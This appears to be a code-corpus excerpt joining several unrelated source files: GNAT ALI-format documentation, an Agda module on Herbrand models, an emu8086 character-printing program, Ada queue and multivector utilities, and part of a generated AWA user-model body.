-- Examples of such changes are modifications in the format of the
-- library info described in this package, or modifications to
-- calling sequences, or to the way that data is represented.
-- Note: the V line absolutely must be the first line, and no change
-- to the ALI format should change this, since even in Ignore_Errors
-- mode, Scan_ALI insists on finding a V line.
-- ---------------------
-- -- M Main Program --
-- ---------------------
-- M type [priority] [T=time-slice] W=?
-- This line appears only if the main unit for this file is
-- suitable for use as a main program. The parameters are:
-- type
-- P for a parameterless procedure
-- F for a function returning a value of integral type
-- (used for writing a main program returning an exit status)
-- priority
-- Present only if there was a valid pragma Priority in the
-- corresponding unit to set the main task priority. It is
-- an unsigned decimal integer.
-- T=time-slice
-- Present only if there was a valid pragma Time_Slice in the
-- corresponding unit. It is an unsigned decimal integer in
-- the range 0 .. 10**9 giving the time slice value in units
-- of milliseconds. The actual significance of this parameter
-- is target dependent.
-- W=?
-- This parameter indicates the wide character encoding
-- method used when compiling the main program file. The ?
-- character is the single character used in the -gnatW?
-- switch. This is used to provide the default wide-character
-- encoding for Wide_Text_IO files.
-- -----------------
-- -- A Argument --
-- -----------------
-- A argument
-- One of these lines appears for each of the arguments present
-- in the call to the gnat1 program. This can be used if it is
-- necessary to reconstruct this call (e.g. for fix and continue)
-- -------------------
-- -- P Parameters --
-- -------------------
-- P <<parameters>>
-- Indicates various information that applies to the compilation
-- of the corresponding source unit. Parameters is a sequence of
-- zero or more two letter codes that indicate configuration
-- pragmas and other parameters that apply:
--
-- The arguments are as follows:
--
-- CE Compilation errors. If this is present it means that the
-- ali file resulted from a compilation with the -gnatQ
-- switch set, and illegalities were detected. The ali
-- file contents may not be completely reliable, but the
-- format will be correct and complete. Note that NO is
-- always present if CE is present.
--
-- DB Detect_Blocking pragma is in effect for all units in
-- this file.
--
-- FD Configuration pragmas apply to all the units in this
-- file specifying a possibly non-standard floating point
-- format (VAX float with Long_Float using D_Float)
--
-- FG Configuration pragmas apply to all the units in this
-- file specifying a possibly non-standard floating point
-- format (VAX float with Long_Float using G_Float)
--
-- FI Configuration pragmas apply to all the units in this
-- file specifying a possibly non-standard floating point
-- format (IEEE Float)
--
-- Lx A valid Locking_Policy pragma applies to all the units
-- in this file, where x is the first character (upper case)
-- of the policy name (e.g. 'C' for Ceiling_Locking)
--
-- NO No object. This flag indicates that the units in this
-- file were not compiled to produce an object. This can
-- occur as a result of the use of -gnatc, or if no object
-- can be produced (e.g. when a package spec is compiled
-- instead of the body, or a subunit on its own).
--
-- NR No_Run_Time. Indicates that a pragma No_Run_Time applies
-- to all units in the file.
--
-- NS Normalize_Scalars pragma in effect for all units in
-- this file
--
-- Qx A valid Queueing_Policy pragma applies to all the units
-- in this file, where x is the first character (upper case)
-- of the policy name (e.g. 'P' for Priority_Queueing).
--
-- SL Indicates that the unit is an Interface to a Standalone
-- Library. Note that this indication is never given by the
-- compiler, but is added by the Project Manager in gnatmake
-- when an Interface ALI file is copied to the library
-- directory.
-- SS This unit references System.Secondary_Stack (that is,
-- the unit makes use of the secondary stack facilities).
--
-- Tx A valid Task_Dispatching_Policy pragma applies to all
-- the units in this file, where x is the first character
-- (upper case) of the corresponding policy name (e.g. 'F'
-- for FIFO_Within_Priorities).
--
-- UA Unreserve_All_Interrupts pragma was processed in one or
-- more units in this file
--
-- ZX Units in this file use zero-cost exceptions and have
-- generated exception tables. If ZX is not present, the
-- longjmp/setjmp exception scheme is in use.
--
-- Note that language defined units never output policy (Lx,Tx,Qx)
-- parameters. Language defined units must correctly handle all
-- possible cases. These values are checked for consistency by the
-- binder and then copied to the generated binder output file.
-- Note: The P line must be present. Even in Ignore_Errors mode,
-- Scan_ALI insists on finding a P line. So if changes are made to
-- the ALI format, they should not include removing the P line!
-- ---------------------
-- -- R Restrictions --
-- ---------------------
-- The first R line records the status of restrictions generated by pragma
-- Restrictions encountered, as well as information on what the compiler
-- has been able to determine with respect to restrictions violations.
-- The format is:
-- R <<restriction-characters>> <<restriction-param-id-entries>>
-- The first parameter is a string of characters that records
-- information regarding restrictions that do not take parameter
-- not take parameter values. It is a string of characters, one
-- character for each value (in order) in All_Boolean_Restrictions.
-- There are three possible settings for each restriction:
-- r Restricted. Unit was compiled under control of a pragma
-- Restrictions for the corresponding restriction. In
-- this case the unit certainly does not violate the
-- Restriction, since this would have been detected by
-- the compiler.
-- n Not used. The unit was not compiled under control of a
-- pragma Restrictions for the corresponding restriction,
-- and does not make any use of the referenced feature.
-- v Violated. The unit was not compiled under control of a
-- pragma Restrictions for the corresponding restriction,
-- and it does indeed use the referenced feature.
-- This information is used in the binder to check consistency,
-- i.e. to detect cases where one unit has "r" and another unit
-- has "v", which is not permitted, since these restrictions
-- are partition-wide.
-- The second parameter, which immediately follows the first (with
-- no separating space) gives restriction information for identifiers
-- for which a parameter is given.
-- The parameter is a string of entries, one for each value in
-- Restrict.All_Parameter_Restrictions. Each entry has two
-- components in sequence, the first indicating whether or not
-- there is a restriction, and the second indicating whether
-- or not the compiler detected violations. In the boolean case
-- it is not necessary to separate these, since if a restriction
-- is set, and violated, that is an error. But in the parameter
-- case, this is not true. For example, we can have a unit with
-- a pragma Restrictions (Max_Tasks => 4), where the compiler
-- can detect that there are exactly three tasks declared. Both
-- of these pieces of information must be passed to the binder.
-- The parameter of 4 is important in case the total number of
-- tasks in the partition is greater than 4. The parameter of
-- 3 is important in case some other unit has a restrictions
-- pragma with Max_Tasks=>2.
-- The component for the presence of restriction has one of two
-- possible forms:
-- n No pragma for this restriction is present in the
-- set of units for this ali file.
-- rN At least one pragma for this restriction is present
-- in the set of units for this ali file. The value N
-- is the minimum parameter value encountered in any
-- such pragma. N is in the range of Integer (a value
-- larger than N'Last causes the pragma to be ignored).
-- The component for the violation detection has one of three
-- possible forms:
-- n No violations were detected by the compiler
-- vN A violation was detected. N is either the maximum or total
-- count of violations (depending on the checking type) in
-- all the units represented by the ali file). Note that
-- this setting is only allowed for restrictions that are
-- in Checked_[Max|Sum]_Parameter_Restrictions. The value
-- here is known to be exact by the compiler and is in the
-- range of Natural.
-- vN+ A violation was detected. The compiler cannot determine
-- the exact count of violations, but it is at least N.
-- There are no spaces within the parameter string, so the entry
-- described above in the header of this section for Max_Tasks would
-- appear as the string r4v3.
-- Note: The restrictions line is required to be present. Even in
-- Ignore_Errors mode, Scan_ALI expects to find an R line and will
-- signal a fatal error if it is missing. This means that future
-- changes to the ALI file format must retain the R line.
-- Subsequent R lines are present only if pragma Restriction No_Dependence
-- is used. There is one such line for each such pragma appearing in the
-- extended main unit. The format is
-- R unit_name
-- Here the unit name is in all lower case. The components of the unit
-- name are separated by periods. The names themselves are in encoded
-- form, as documented in Namet.
-- ------------------------
-- -- I Interrupt States --
-- ------------------------
-- I interrupt-number interrupt-state line-number
-- This line records information from an Interrupt_State pragma.
-- There is one line for each separate pragma, and if no such
-- pragmas are used, then no I lines are present.
-- The interrupt-number is an unsigned positive integer giving
-- the value of the interrupt as defined in Ada.Interrupts.Names.
-- The interrupt-state is one of r/s/u for Runtime/System/User
-- The line number is an unsigned decimal integer giving the
-- line number of the corresponding Interrupt_State pragma.
-- This is used in consistency messages.
----------------------------
-- Compilation Unit Lines --
----------------------------
-- Following these header lines, a set of information lines appears for
-- each compilation unit that appears in the corresponding object file.
-- In particular, when a package body or subprogram body is compiled,
-- there will be two sets of information, one for the spec and one for
-- the body. with the entry for the body appearing first. This is the
-- only case in which a single ALI file contains more than one unit (in
-- particular note that subunits do *not* count as compilation units for
-- this purpose, and generate no library information, since they are
-- inlined).
-- --------------------
-- -- U Unit Header --
-- --------------------
-- The lines for each compilation unit have the following form
-- U unit-name source-name version <<attributes>>
--
-- This line identifies the unit to which this section of the
-- library information file applies. The first three parameters are
-- the unit name in internal format, as described in package Uname,
-- and the name of the source file containing the unit.
--
-- Version is the version given as eight hexadecimal characters
-- with upper case letters. This value is the exclusive or of the
-- source checksums of the unit and all its semantically dependent
-- units.
--
-- The <<attributes>> are a series of two letter codes indicating
-- information about the unit:
--
-- DE Dynamic Elaboration. This unit was compiled with the
-- dynamic elaboration model, as set by either the -gnatE
-- switch or pragma Elaboration_Checks (Dynamic).
--
-- EB Unit has pragma Elaborate_Body
--
-- EE Elaboration entity is present which must be set true when
-- the unit is elaborated. The name of the elaboration entity
-- is formed from the unit name in the usual way. If EE is
-- present, then this boolean must be set True as part of the
-- elaboration processing routine generated by the binder.
-- Note that EE can be set even if NE is set. This happens
-- when the boolean is needed solely for checking for the
-- case of access before elaboration.
--
-- GE Unit is a generic declaration, or corresponding body
--
-- IL Unit source uses a style with identifiers in all lower
-- IU case (IL) or all upper case (IU). If the standard mixed-
-- case usage is detected, or the compiler cannot determine
-- the style, then no I parameter will appear.
--
-- IS Initialize_Scalars pragma applies to this unit
--
-- KM Unit source uses a style with keywords in mixed case
-- KU (KM) or all upper case (KU). If the standard lower-case
-- usage is detected, or the compiler cannot determine the
-- style, then no K parameter will appear.
--
-- NE Unit has no elaboration routine. All subprogram bodies
-- and specs are in this category. Package bodies and specs
-- may or may not have NE set, depending on whether or not
-- elaboration code is required. Set if N_Compilation_Unit
-- node has flag Has_No_Elaboration_Code set.
--
-- PK Unit is package, rather than a subprogram
--
-- PU Unit has pragma Pure
--
-- PR Unit has pragma Preelaborate
--
-- RA Unit declares a Remote Access to Class-Wide (RACW) type
--
-- RC Unit has pragma Remote_Call_Interface
--
-- RT Unit has pragma Remote_Types
--
-- SP Unit has pragma Shared_Passive.
--
-- SU Unit is a subprogram, rather than a package
--
-- The attributes may appear in any order, separated by spaces.
-- ---------------------
-- -- W Withed Units --
-- ---------------------
-- Following each U line, is a series of lines of the form
-- W unit-name [source-name lib-name] [E] [EA] [ED] [AD]
--
-- One of these lines is present for each unit that is mentioned in
-- an explicit with clause by the current unit. The first parameter
-- is the unit name in internal format. The second parameter is the
-- file name of the file that must be compiled to compile this unit.
-- It is usually the file for the body, except for packages
-- which have no body; for units that need a body, if the source file
-- for the body cannot be found, the file name of the spec is used
-- instead. The third parameter is the file name of the library
-- information file that contains the results of compiling this unit.
-- The optional modifiers are used as follows:
--
-- E pragma Elaborate applies to this unit
--
-- EA pragma Elaborate_All applies to this unit
--
-- ED Elaborate_Desirable set for this unit, which means
-- that there is no Elaborate, but the analysis suggests
-- that Program_Error may be raised if the Elaborate
-- conditions cannot be satisfied. The binder will attempt
-- to treat ED as E if it can.
--
-- AD Elaborate_All_Desirable set for this unit, which means
-- that there is no Elaborate_All, but the analysis suggests
-- that Program_Error may be raised if the Elaborate_All
-- conditions cannot be satisfied. The binder will attempt
-- to treat AD as EA if it can.
--
-- The parameter source-name and lib-name are omitted for the case
-- of a generic unit compiled with earlier versions of GNAT which
-- did not generate object or ali files for generics.
-- -----------------------
-- -- L Linker_Options --
-- -----------------------
-- Following the W lines (if any, or the U line if not), are an
-- optional series of lines that indicates the usage of the pragma
-- Linker_Options in the associated unit. For each appearence of a
-- pragma Linker_Options (or Link_With) in the unit, a line is
-- present with the form:
-- L "string"
-- where string is the string from the unit line enclosed in quotes.
-- Within the quotes the following can occur:
-- c graphic characters in range 20-7E other than " or {
-- "" indicating a single " character
-- {hh} indicating a character whose code is hex hh (0-9,A-F)
-- {00} [ASCII.NUL] is used as a separator character
-- to separate multiple arguments of a single
-- Linker_Options pragma.
-- For further details, see Stringt.Write_String_Table_Entry. Note
-- that wide characters in the form {hhhh} cannot be produced, since
-- pragma Linker_Option accepts only String, not Wide_String.
-- The L lines are required to appear in the same order as the
-- corresponding Linker_Options (or Link_With) pragmas appear in
-- the source file, so that this order is preserved by the binder
-- in constructing the set of linker arguments.
---------------------
-- Reference Lines --
---------------------
-- The reference lines contain information about references from
-- any of the units in the compilation (including, body version
-- and version attributes, linker options pragmas and source
-- dependencies.
-- ------------------------------------
-- -- E External Version References --
-- ------------------------------------
-- One of these lines is present for each use of 'Body_Version or
-- 'Version in any of the units of the compilation. These are used
-- by the linker to determine which version symbols must be output.
-- The format is simply:
-- E name
-- where name is the external name, i.e. the unit name with either
-- a S or a B for spec or body version referenced (Body_Version
-- always references the body, Version references the Spec, except
-- in the case of a reference to a subprogram with no separate spec).
-- Upper half and wide character codes are encoded using the same
-- method as in Namet (Uhh for upper half, Whhhh for wide character,
-- where hh are hex digits).
-- ---------------------
-- -- D Dependencies --
-- ---------------------
-- The dependency lines indicate the source files on which the compiled
-- units depend. This is used by the binder for consistency checking.
-- These lines are also referenced by the cross-reference information.
-- D source-name time-stamp checksum [subunit-name] line:file-name
-- The time-stamp field contains the time stamp of the
-- corresponding source file. See types.ads for details on
-- time stamp representation.
-- The checksum is an 8-hex digit representation of the source
-- file checksum, with letters given in lower case.
-- The subunit name is present only if the dependency line is for
-- a subunit. It contains the fully qualified name of the subunit
-- in all lower case letters.
-- The line:file-name entry is present only if a Source_Reference
-- pragma appeared in the source file identified by source-name.
-- In this case, it gives the information from this pragma. Note
-- that this allows cross-reference information to be related back
-- to the original file. Note: the reason the line number comes
-- first is that a leading digit immediately identifies this as
-- a Source_Reference entry, rather than a subunit-name.
-- A line number of zero for line: in this entry indicates that
-- there is more than one source reference pragma. In this case,
-- the line numbers in the cross-reference are correct, and refer
-- to the original line number, but there is no information that
-- allows a reader of the ALI file to determine the exact mapping
-- of physical line numbers back to the original source.
-- Files with a zero checksum and a non-zero time stamp are in general
-- files on which the compilation depends but which are not Ada files
-- with further dependencies. This includes preprocessor data files
-- and preprocessor definition files.
-- Note: blank lines are ignored when the library information is
-- read, and separate sections of the file are separated by blank
-- lines to ease readability. Blanks between fields are also
-- ignored.
-- For entries corresponding to files that were not present (and
-- thus resulted in error messages), or for files that are not
-- part of the dependency set, both the time stamp and checksum
-- are set to all zero characters. These dummy entries are ignored
-- by the binder in dependency checking, but must be present for
-- proper interpretation of the cross-reference data.
--------------------------
-- Cross-Reference Data --
--------------------------
-- The cross-reference data follows the dependency lines. See
-- the spec of Lib.Xref for details on the format of this data.
----------------------
-- Global_Variables --
----------------------
-- The table structure defined here stores one entry for each
-- Interrupt_State pragma encountered either in the main source or
-- in an ancillary with'ed source. Since interrupt state values
-- have to be consistent across all units in a partition, we may
-- as well detect inconsistencies at compile time when we can.
type Interrupt_State_Entry is record
Interrupt_Number : Pos;
-- Interrupt number value
Interrupt_State : Character;
-- Set to r/s/u for Runtime/System/User
Pragma_Loc : Source_Ptr;
-- Location of pragma setting this value in place
end record;
package Interrupt_States is new Table.Table (
Table_Component_Type => Interrupt_State_Entry,
Table_Index_Type => Nat,
Table_Low_Bound => 1,
Table_Initial => 30,
Table_Increment => 200,
Table_Name => "Name_Interrupt_States");
-----------------
-- Subprograms --
-----------------
procedure Ensure_System_Dependency;
-- This procedure ensures that a dependency is created on system.ads.
-- Even if there is no semantic dependency, Targparm has read the
-- file to acquire target parameters, so we need a source dependency.
procedure Write_ALI (Object : Boolean);
-- This procedure writes the library information for the current main unit
-- The Object parameter is true if an object file is created, and false
-- otherwise.
--
-- Note: in the case where we are not generating code (-gnatc mode), this
-- routine only writes an ALI file if it cannot find an existing up to
-- date ALI file. If it *can* find an existing up to date ALI file, then
-- it reads this file and sets the Lib.Compilation_Arguments table from
-- the A lines in this file.
procedure Add_Preprocessing_Dependency (S : Source_File_Index);
-- Indicate that there is a dependency to be added on a preprocessing
-- data file or on a preprocessing definition file.
end Lib.Writ;
|
Mixed/Models.agda | frantisekfarka/lp-mod | 0 | 16055 | module Models where
open import Data.Nat
open import Terms
-- The (complete) Herbrand universe for Σ
U' : {n m : ℕ} → (Signature n m) → Set
U' Σ = GTerm Σ
-- The (complete) μ-Herbrand base for Σ
B'μ : {n m : ℕ} → (Signature n m) → Set
B'μ Σ = GAtom Σ μ
B'ν : {n m : ℕ} → (Signature n m) → Set
B'ν Σ = GAtom Σ ν
open import Relation.Unary as U
open import Level
-- a (complete) Herbrand interpretation
record Interp {n m : ℕ} (Σ : Signature n m) : Set₁ where
field
Carrier-μ : Pred (B'μ Σ) Level.zero
Carrier-ν : Pred (B'ν Σ) Level.zero
open Interp
_∩ᵢ_ : {n m : ℕ} → {Σ : Signature n m} → Interp Σ → Interp Σ
→ Interp Σ
i₁ ∩ᵢ i₂ = record
{ Carrier-μ = Carrier-μ i₁ ∩ Carrier-μ i₂
; Carrier-ν = Carrier-ν i₁ ∩ Carrier-ν i₂
}
_∪ᵢ_ : {n m : ℕ} → {Σ : Signature n m} → Interp Σ → Interp Σ
→ Interp Σ
i₁ ∪ᵢ i₂ = record
{ Carrier-μ = Carrier-μ i₁ ∪ Carrier-μ i₂
; Carrier-ν = Carrier-ν i₁ ∪ Carrier-ν i₂
}
open import Data.List as L
open import Data.List.All as LAl
open import Data.List.Any as LAn
open import Relation.Binary.Core
open Program
-- | Inductive model
record IsIModel {n m : ℕ} {Σ : Signature n m} {var : Set}
(i : Interp Σ) (P : Program Σ var) : Set₂ where
field
forwClosed :
(bs'μ : List (GAtom Σ μ))
→ All (λ b → b ∈ Carrier-μ i) bs'μ
→ (bs'ν : List (GAtom Σ ν))
→ All (λ b → b ∈ Carrier-ν i) bs'ν
→ (σ : GSubst Σ var)
→ (a : Atom Σ var μ)
→ (bsμ : List (Atom Σ var μ))
→ (bsν : List (Atom Σ var ν))
→ Any (λ cl → cl ≡ (a :- bsμ , bsν)) (prg-μ P)
→ (L.map (appA σ) bsμ) ≡ bs'μ
→ (L.map (appA σ) bsν) ≡ bs'ν
→ (appA σ a ∈ Carrier-μ i)
open IsIModel
open import Data.Product
hA : {A : Set} {B : Set₁} → A × B → A
hA = proj₁
hBsμ : {A B : Set} {C : Set₁} → A × B × C → B
hBsμ (_ , a , _) = a
hBsν : {A B C : Set} {D : Set₁} → A × B × C × D → C
hBsν (_ , _ , a , _) = a
hσ : {A B C : Set} {D : Set₁} → A × B × C × D → D
hσ (_ , _ , _ , a) = a
open import Data.List.All.Properties -- using (All-map)
-- | model intersection property for a pair of models
prop_model_intersection_pair : {n m : ℕ} → {Σ : Signature n m} {var : Set} →
(P : Program Σ var)
→ (m₁ : Interp Σ)
→ (m₂ : Interp Σ)
→ Carrier-ν m₁ ≡ Carrier-ν m₂
→ (mp₁ : IsIModel m₁ P)
→ (mp₂ : IsIModel m₂ P)
→ IsIModel (m₁ ∩ᵢ m₂) P
prop_model_intersection_pair P m₁ m₂ eq mp₁ mp₂ =
record { forwClosed = λ bs'μ x bs'ν y σ a bsμ bsν pcls pμ pν →
( forwClosed mp₁ bs'μ (LAl.map proj₁ x) bs'ν
(LAl.map proj₁ y) σ a bsμ bsν pcls pμ pν
, forwClosed mp₂ bs'μ (LAl.map proj₂ x) bs'ν
(LAl.map proj₂ y) σ a bsμ bsν pcls pμ pν
)}
-- | Coinductive model
record IsCModel {n m : ℕ} {Σ : Signature n m} {var : Set}
(i : Interp Σ) (P : Program Σ var) : Set₁ where
field
backClosed :
--→
(a' : GAtom Σ ν)
→ a' ∈ Carrier-ν i
→ ∃ (λ ( w : (Atom Σ var ν) -- a
× (List (Atom Σ var μ)) -- bs-μ
× (List (Atom Σ var ν)) -- bs-ν
× GSubst Σ var) → -- σ
(Any (λ c → (hA w) :- (hBsμ w) , (hBsν w) ≡ c) (prg-ν P))
× appA (hσ w) (hA w) ≡ a'
× All (λ c → c ∈ Carrier-μ i) (L.map (appA (hσ w)) (hBsμ w))
× All (λ c → c ∈ Carrier-ν i) (L.map (appA (hσ w)) (hBsν w))
)
open IsCModel
open import Data.Sum
open import Data.Product as DP
open Interp
open import Relation.Binary.PropositionalEquality
-- | model union property for a pair of models
prop_model_union_pair : {n m : ℕ} → {Σ : Signature n m} → {var : Set}
(P : Program Σ var)
→ (m₁ : Interp Σ)
→ (m₂ : Interp Σ)
→ Carrier-μ m₁ ≡ Carrier-μ m₂
→ (mp₁ : IsCModel m₁ P)
→ (mp₂ : IsCModel m₂ P)
→ IsCModel (m₁ ∪ᵢ m₂) P
prop_model_union_pair P m₁ m₂ eq mp₁ mp₂ {-with (sym eq) -- | (Carrier-μ m₁)
... | eq' {-| dm₁-}-} = record { backClosed = λ
{ a' (inj₁ x) → DP.map
(λ atm → atm)
(DP.map
(λ any → any)
(λ w → DP.map (λ eq₁ → eq₁) (λ x₃
→ LAl.map inj₁ (proj₁ (proj₂ w))
, LAl.map inj₁ (proj₂ (proj₂ w))) w))
(backClosed mp₁ a' x)
; a' (inj₂ y) → DP.map
(λ atm → atm)
(DP.map
(λ any → any)
(λ w → DP.map (λ eq → eq) (λ x₁
→ LAl.map inj₂ (proj₁ (proj₂ w))
, LAl.map inj₂ (proj₂ (proj₂ w))) w))
(backClosed mp₂ a' y)
} }
|
MySource/print all charcter loop label.asm | mdabdullahibnaharun/Assembly-Language | 0 | 165752 |
; You may customize this and other start-up templates;
; The location of this template is c:\emu8086\inc\0_com_template.txt
org 100h
main proc
mov ah,02h
mov cx,256 ;c=256
mov dx,0
int 21h
label:
int 21h
inc dx
dec cx
jnz label
label1:
int 21h
inc dx
;cx auto decrement
loop label
mov ah,4ch
int 21h
main endp
end main
ret
|
gyak/gyak4/sorok/sordemo.adb | balintsoos/LearnAda | 0 | 28610 | with Sorok, Ada.Command_Line, Ada.Integer_Text_IO;
use Sorok;
procedure SorDemo is
N: Integer;
S: Sor(Ada.Command_Line.Argument_Count);
begin
for I in 1..Ada.Command_Line.Argument_Count loop
N := Integer'Value(Ada.Command_Line.Argument(I));
Hiext( S, N );
end loop;
while not Is_Empty(S) loop
Lopop( S, N );
Ada.Integer_Text_IO.Put(N);
end loop;
end SorDemo;
|
ga_lib/src/multivector_analyze.adb | rogermc2/GA_Ada | 3 | 28760 |
with Ada.Text_IO; use Ada.Text_IO;
with GL.Types;
-- with Multivector_Analyze_E2GA;
with Multivector_Analyze_C3GA;
with Utilities;
package body Multivector_Analyze is
-- --------------------------------------------------------------------------
-- procedure Analyze (theAnalysis : in out MV_Analysis; MV : Multivectors.Multivector;
-- Flags : Flag_Type := (Flag_Invalid, False);
-- Epsilon : float := Default_Epsilon) is
-- begin
-- Multivector_Analyze_E2GA.Analyze (theAnalysis, MV, Flags, Epsilon);
-- end Analyze;
-- --------------------------------------------------------------------------
function Analyze (MV : Multivectors.Multivector;
Probe : Multivectors.Normalized_Point :=
C3GA.Probe (Blade_Types.C3_no);
Flags : Flag_Type := (Flag_Invalid, False);
Epsilon : float := Default_Epsilon) return MV_Analysis is
begin
return Multivector_Analyze_C3GA.Analyze (MV, Probe, Flags, Epsilon);
end Analyze;
-- -------------------------------------------------------------------------
function Blade_Subclass (A : MV_Analysis) return Blade_Subclass_Type is
begin
return A.M_Type.Blade_Subclass;
end Blade_Subclass;
-- --------------------------------------------------------------------------
function isValid (A : MV_Analysis) return Boolean is
begin
return A.M_Flags.Valid = Flag_Valid;
end isValid;
-- --------------------------------------------------------------------------
function isDual (A : MV_Analysis) return Boolean is
begin
return A.M_Flags.Dual;
end isDual;
-- --------------------------------------------------------------------------
function isBlade (A : MV_Analysis) return Boolean is
begin
-- return A.M_Type.Multivector_Kind
return A.M_Type.Blade_Class /= Non_Blade;
end isBlade;
-- --------------------------------------------------------------------------
function isVersor (A : MV_Analysis) return Boolean is
begin
return A.Versor_Kind /= Not_A_Versor;
end isVersor;
-- --------------------------------------------------------------------------
function isNull (A : MV_Analysis) return Boolean is
-- {return ((type() == BLADE) && (bladeClass() == ZERO));}
begin
return isBlade (A) and A.M_Type.Blade_Class = Zero_Blade;
end isNull;
-- --------------------------------------------------------------------------
function isZero (A : MV_Analysis) return Boolean is
-- {return ((type() == BLADE) && (bladeClass() == ZERO));}
begin
return isBlade (A) and A.M_Type.Blade_Class = Zero_Blade;
end isZero;
-- --------------------------------------------------------------------------
function Num_Points return integer is
begin
return Max_Points;
end Num_Points;
-- --------------------------------------------------------------------------
function Num_Vectors return integer is
begin
return Max_Vectors;
end Num_Vectors;
-- --------------------------------------------------------------------------
function Num_Scalars return integer is
begin
return Max_Scalars;
end Num_Scalars;
-- --------------------------------------------------------------------------
procedure Print_E3_Vector_Array (Name : String; anArray : E3_Vector_Array) is
begin
Put_Line (Name & ": ");
for Index in anArray'First .. anArray'Last loop
Utilities.Print_Vector ("", anArray (Index));
end loop;
New_Line;
end Print_E3_Vector_Array;
-- ------------------------------------------------------------------------
procedure Print_Analysis (Name : String; Analysis : MV_Analysis) is
use GL.Types;
use Multivector_Type;
begin
Put_Line (Name & " Analysis");
Put_Line ("Valid Flag " & boolean'Image (Analysis.M_Flags.Valid));
Put_Line ("Dual Flag " & boolean'Image (Analysis.M_Flags.Dual));
Print_Multivector_Info (Name & " M_MV_Type data", Analysis.M_MV_Type);
Put_Line ("Model Type " &
Model_Type'Image (Analysis.M_Type.Model_Kind));
Put_Line ("Multivector_Kind " &
Multivector_Type_Base.Object_Type'Image (Analysis.M_Type.Multivector_Kind));
Put_Line ("Epsilon " & Float'Image (Analysis.Epsilon));
Put_Line ("Pseudo_Scalar " & boolean'Image (Analysis.Pseudo_Scalar));
Put_Line ("Versor_Kind " & Versor_Subclass_Type'Image (Analysis.Versor_Kind));
Put_Line ("Blade_Subclass " & Blade_Subclass_Type'Image (Analysis.M_Type.Blade_Subclass));
Put_Line ("Points array:");
for index in Analysis.Points'Range loop
Put_Line (Single'Image (Analysis.Points (index) (GL.X)) & " " &
Single'Image (Analysis.Points (index) (GL.Y)) & " " &
Single'Image (Analysis.Points (index) (GL.Z)));
end loop;
exception
when others =>
Put_Line ("An exception occurred in Multivector_Analyze.Print_Analysis.");
raise;
end Print_Analysis;
-- ------------------------------------------------------------------------
procedure Print_Analysis_M_Vectors (Name : String; Analysis : MV_Analysis) is
use GL.Types;
begin
Put_Line (Name & " Analysis M_Vectors");
for index in Analysis.M_Vectors'Range loop
Put_Line (GL.Types.Single'Image (Analysis.M_Vectors (index) (GL.X)) & " " &
GL.Types.Single'Image (Analysis.M_Vectors (index) (GL.Y)) & " " &
GL.Types.Single'Image (Analysis.M_Vectors (index) (GL.Z)));
end loop;
exception
when others =>
Put_Line ("An exception occurred in Multivector_Analyze.Print_Analysis_M_Vectors.");
raise;
end Print_Analysis_M_Vectors;
-- ------------------------------------------------------------------------
procedure Print_Analysis_Points (Name : String; Analysis : MV_Analysis) is
use GL.Types;
begin
Put_Line (Name & " Analysis Points");
for index in 1 .. Multivector_Analyze.Max_Points loop
Put_Line (GL.Types.Single'Image (Analysis.Points (index) (GL.X))
& " " &
GL.Types.Single'Image (Analysis.Points (index) (GL.Y))
& " " &
GL.Types.Single'Image (Analysis.Points (index) (GL.Z)));
end loop;
exception
when others =>
Put_Line ("An exception occurred in Multivector_Analyze.Print_Analysis_Points.");
raise;
end Print_Analysis_Points;
-- ------------------------------------------------------------------------
function Versor_Subclass (A : MV_Analysis) return Blade_Subclass_Type is
begin
return Blade_Subclass (A);
end Versor_Subclass;
-- --------------------------------------------------------------------------
end Multivector_Analyze;
|
awa/src/model/awa-users-models.adb | fuzzysloth/ada-awa | 0 | 8705 | -----------------------------------------------------------------------
-- AWA.Users.Models -- AWA.Users.Models
-----------------------------------------------------------------------
-- File generated by ada-gen DO NOT MODIFY
-- Template used: templates/model/package-body.xhtml
-- Ada Generator: https://ada-gen.googlecode.com/svn/trunk Revision 1095
-----------------------------------------------------------------------
-- Copyright (C) 2017 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Ada.Unchecked_Deallocation;
with Util.Beans.Objects.Time;
package body AWA.Users.Models is
use type ADO.Objects.Object_Record_Access;
use type ADO.Objects.Object_Ref;
use type ADO.Objects.Object_Record;
pragma Warnings (Off, "formal parameter * is not referenced");
function Email_Key (Id : in ADO.Identifier) return ADO.Objects.Object_Key is
Result : ADO.Objects.Object_Key (Of_Type => ADO.Objects.KEY_INTEGER,
Of_Class => EMAIL_DEF'Access);
begin
ADO.Objects.Set_Value (Result, Id);
return Result;
end Email_Key;
function Email_Key (Id : in String) return ADO.Objects.Object_Key is
Result : ADO.Objects.Object_Key (Of_Type => ADO.Objects.KEY_INTEGER,
Of_Class => EMAIL_DEF'Access);
begin
ADO.Objects.Set_Value (Result, Id);
return Result;
end Email_Key;
function "=" (Left, Right : Email_Ref'Class) return Boolean is
begin
return ADO.Objects.Object_Ref'Class (Left) = ADO.Objects.Object_Ref'Class (Right);
end "=";
procedure Set_Field (Object : in out Email_Ref'Class;
Impl : out Email_Access) is
Result : ADO.Objects.Object_Record_Access;
begin
Object.Prepare_Modify (Result);
Impl := Email_Impl (Result.all)'Access;
end Set_Field;
-- Internal method to allocate the Object_Record instance
procedure Allocate (Object : in out Email_Ref) is
Impl : Email_Access;
begin
Impl := new Email_Impl;
Impl.Status := AWA.Users.Models.MailDeliveryStatus'First;
Impl.Last_Error_Date := ADO.DEFAULT_TIME;
Impl.Version := 0;
Impl.User_Id := ADO.NO_IDENTIFIER;
ADO.Objects.Set_Object (Object, Impl.all'Access);
end Allocate;
-- ----------------------------------------
-- Data object: Email
-- ----------------------------------------
procedure Set_Email (Object : in out Email_Ref;
Value : in String) is
Impl : Email_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_String (Impl.all, 1, Impl.Email, Value);
end Set_Email;
procedure Set_Email (Object : in out Email_Ref;
Value : in Ada.Strings.Unbounded.Unbounded_String) is
Impl : Email_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_Unbounded_String (Impl.all, 1, Impl.Email, Value);
end Set_Email;
function Get_Email (Object : in Email_Ref)
return String is
begin
